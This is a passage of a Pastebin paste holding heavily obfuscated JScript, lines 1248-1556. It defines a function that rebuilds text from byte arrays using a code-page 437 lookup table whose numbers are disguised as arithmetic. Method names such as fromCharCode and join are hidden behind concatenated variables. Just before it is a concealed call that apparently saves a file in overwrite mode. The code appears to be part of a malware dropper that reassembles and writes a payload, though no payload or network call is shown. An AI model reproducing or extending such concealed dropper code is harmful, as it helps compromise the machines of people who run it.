  1248.     QAl8[Sd7 + Da7 + Sq1](Lj4, 2);
  1249.  
  1250.  
  1251.  
  1252.     QAl8[Lx]();
  1253.  
  1254. };
  1255.  
  1256.  
  1257.  
  1258. function Kx1 /* W  */(JEc3)
  1259.  
  1260. {
  1261.  
  1262.     var Io=new Array();
  1263.  
  1264.    
  1265.  
  1266. Io[128]=199;
  1267.  
  1268. Io[-953 + 1082]=252;
  1269.  
  1270. Io[130]=233;
  1271.  
  1272. Io[131]=226;
  1273.  
  1274. Io[132]=228;
  1275.  
  1276. Io[8346 - 8213]=224;
  1277.  
  1278. Io[134]=229;
  1279.  
  1280. Io[135]=231;
  1281.  
  1282. Io[136]=1711 - 1477;
  1283.  
  1284. Io[137]=235;
  1285.  
  1286. Io[138]=-2311 + 2543;
  1287.  
  1288. Io[139]=239;
  1289.  
  1290. Io[140]=238;
  1291.  
  1292. Io[27 * 5 + 6]=236;
  1293.  
  1294. Io[142]=196;
  1295.  
  1296. Io[143]=197;
  1297.  
  1298. Io[144]=68 * 2 + 65;
  1299.  
  1300. Io[145]=230;
  1301.  
  1302. Io[9482 - 9336]=198;
  1303.  
  1304. Io[147]=244;
  1305.  
  1306. Io[148]=246;
  1307.  
  1308. Io[149]=242;
  1309.  
  1310. Io[150]=251;
  1311.  
  1312. Io[54 * 2 + 43]=249;
  1313.  
  1314. Io[152]=2 * 127 + 1;
  1315.  
  1316. Io[153]=214;
  1317.  
  1318. Io[1956 - 1802]=220;
  1319.  
  1320. Io[155]=162;
  1321.  
  1322. Io[156]=163;
  1323.  
  1324. Io[157]=165;
  1325.  
  1326. Io[158]=8359;
  1327.  
  1328. Io[74 * 2 + 11]=-8929 + 9331;
  1329.  
  1330. Io[-1264 + 1424]=225;
  1331.  
  1332. Io[161]=237;
  1333.  
  1334. Io[162]=243;
  1335.  
  1336. Io[7607 - 7444]=250;
  1337.  
  1338. Io[164]=241;
  1339.  
  1340. Io[165]=209;
  1341.  
  1342. Io[166]=170;
  1343.  
  1344. Io[167]=186;
  1345.  
  1346. Io[-6129 + 6297]=191;
  1347.  
  1348. Io[2567 - 2398]=8976;
  1349.  
  1350. Io[170]=1873 - 1701;
  1351.  
  1352. Io[171]=-9542 + 9731;
  1353.  
  1354. Io[172]=188;
  1355.  
  1356. Io[173]=161;
  1357.  
  1358. Io[174]=171;
  1359.  
  1360. Io[175]=-5119 + 5306;
  1361.  
  1362. Io[176]=9617;
  1363.  
  1364. Io[177]=9618;
  1365.  
  1366. Io[-2818 + 2996]=9619;
  1367.  
  1368. Io[179]=9474;
  1369.  
  1370. Io[180]=1292 * 7 + 464;
  1371.  
  1372. Io[181]=9569;
  1373.  
  1374. Io[182]=9570;
  1375.  
  1376. Io[183]=9558;
  1377.  
  1378. Io[184]=9557;
  1379.  
  1380. Io[185]=9571;
  1381.  
  1382. Io[186]=9553;
  1383.  
  1384. Io[187]=9559;
  1385.  
  1386. Io[188]=9565;
  1387.  
  1388. Io[189]=18308 - 8744;
  1389.  
  1390. Io[190]=9563;
  1391.  
  1392. Io[191]=9488;
  1393.  
  1394. Io[192]=9492;
  1395.  
  1396. Io[193]=2287 * 4 + 376;
  1397.  
  1398. Io[194]=9516;
  1399.  
  1400. Io[195]=9500;
  1401.  
  1402. Io[62 * 3 + 10]=9472;
  1403.  
  1404. Io[197]=4219 + 5313;
  1405.  
  1406. Io[198]=9566;
  1407.  
  1408. Io[89 * 2 + 21]=9567;
  1409.  
  1410. Io[200]=9562;
  1411.  
  1412. Io[201]=9556;
  1413.  
  1414. Io[-6374 + 6576]=9577;
  1415.  
  1416. Io[203]=9574;
  1417.  
  1418. Io[89 * 2 + 26]=9568;
  1419.  
  1420. Io[205]=9552;
  1421.  
  1422. Io[206]=9580;
  1423.  
  1424. Io[95 * 2 + 17]=9575;
  1425.  
  1426. Io[208]=9576;
  1427.  
  1428. Io[43 * 4 + 37]=9572;
  1429.  
  1430. Io[210]=9573;
  1431.  
  1432. Io[211]=9561;
  1433.  
  1434. Io[212]=3569 * 2 + 2422;
  1435.  
  1436. Io[213]=9554;
  1437.  
  1438. Io[214]=9555;
  1439.  
  1440. Io[54 * 3 + 53]=9579;
  1441.  
  1442. Io[216]=14737 - 5159;
  1443.  
  1444. Io[217]=9496;
  1445.  
  1446. Io[35 * 6 + 8]=9484;
  1447.  
  1448. Io[219]=11119 - 1511;
  1449.  
  1450. Io[220]=9604;
  1451.  
  1452. Io[221]=12332 - 2720;
  1453.  
  1454. Io[222]=3779 * 2 + 2058;
  1455.  
  1456. Io[223]=907 * 10 + 530;
  1457.  
  1458. Io[224]=945;
  1459.  
  1460. Io[225]=101 * 2 + 21;
  1461.  
  1462. Io[226]=915;
  1463.  
  1464. Io[227]=960;
  1465.  
  1466. Io[228]=931;
  1467.  
  1468. Io[229]=963;
  1469.  
  1470. Io[230]=181;
  1471.  
  1472. Io[4175 - 3944]=-2689 + 3653;
  1473.  
  1474. Io[71 * 3 + 19]=934;
  1475.  
  1476. Io[1496 - 1263]=920;
  1477.  
  1478. Io[234]=937;
  1479.  
  1480. Io[235]=948;
  1481.  
  1482. Io[236]=3990 * 2 + 754;
  1483.  
  1484. Io[237]=966;
  1485.  
  1486. Io[238]=176 * 5 + 69;
  1487.  
  1488. Io[239]=8745;
  1489.  
  1490. Io[-7279 + 7519]=8801;
  1491.  
  1492. Io[241]=177;
  1493.  
  1494. Io[-520 + 762]=8805;
  1495.  
  1496. Io[243]=8804;
  1497.  
  1498. Io[244]=8992;
  1499.  
  1500. Io[-4284 + 4529]=8993;
  1501.  
  1502. Io[246]=-8561 + 8808;
  1503.  
  1504. Io[247]=8776;
  1505.  
  1506. Io[248]=176;
  1507.  
  1508. Io[249]=8729;
  1509.  
  1510. Io[250]=7487 - 7304;
  1511.  
  1512. Io[-797 + 1048]=8730;
  1513.  
  1514. Io[252]=8319;
  1515.  
  1516. Io[253]=178;
  1517.  
  1518. Io[254]=9632;
  1519.  
  1520. Io[114 * 2 + 27]=160;
  1521.  
  1522.    
  1523.  
  1524.     var IVi2=new Array();
  1525.  
  1526.     var Gr="";
  1527.  
  1528.     var IDz0; var El;
  1529.  
  1530.     for (var Lp9=1779 - 1779; Lp9 < JEc3[Ak3 + EVx9]; Lp9++)
  1531.  
  1532.     {
  1533.  
  1534.         IDz0=JEc3[Lp9];
  1535.  
  1536.         if (IDz0 < 128)
  1537.  
  1538.             {El=IDz0;}
  1539.  
  1540.         else
  1541.  
  1542.             {El=Io[IDz0];}
  1543.  
  1544.         IVi2.push(String[OBc + NOs + Pp](El));
  1545.  
  1546.     }
  1547.  
  1548.    
  1549.  
  1550.     Gr=IVi2[Vu0]("");
  1551.  
  1552.    
  1553.  
  1554.     return Gr;
  1555.  
  1556. };
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×